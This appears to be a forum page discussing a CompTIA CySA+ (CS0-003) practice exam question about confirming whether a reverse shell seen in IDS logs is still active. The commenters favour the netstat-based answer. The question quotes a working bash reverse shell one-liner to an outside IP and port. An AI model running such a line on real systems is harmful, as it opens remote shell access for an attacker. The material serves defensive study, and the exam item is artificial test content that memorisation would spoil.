Exam CS0-003 topic 1 question 107 discussion

Actual exam question from CompTIA's CS0-003

Question #: 107
Topic #: 1

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A. #!/bin/bash
nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
B. #!/bin/bash
ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
C. #!/bin/bash
ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
D. #!/bin/bash
netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

Show Suggested Answer

Suggested Answer: D 🗳️

by kmordalv at Aug. 30, 2023, 3:16 p.m.

Comments

Submit Cancel

kmordalv

Highly Voted 9 months, 3 weeks ago

Selected Answer: D

Correct It uses the netstat command to list all active network connections and then uses grep to search for connections that involve the specified port (8080). If a connection is found, it implies that the malicious activity might still be ongoing. If no connection is found, it implies that the activity has likely ceased.

upvoted 11 times

...

chaddman

Most Recent 7 months, 3 weeks ago

D. netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK": This script uses netstat to check for any active TCP connections involving port 8080. This is the most direct way to check for ongoing suspicious activity related to the port in question. Therefore, the best option to most accurately confirm if the activity is ongoing is D. netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK". This will look for any active TCP connections on port 8080 and echo "Malicious activity" if found, or "OK" otherwise.

upvoted 3 times

...

FoeMarc

7 months, 3 weeks ago

D To accurately confirm if the suspicious activity indicated by the provided command is ongoing, you can use option D:

upvoted 1 times

...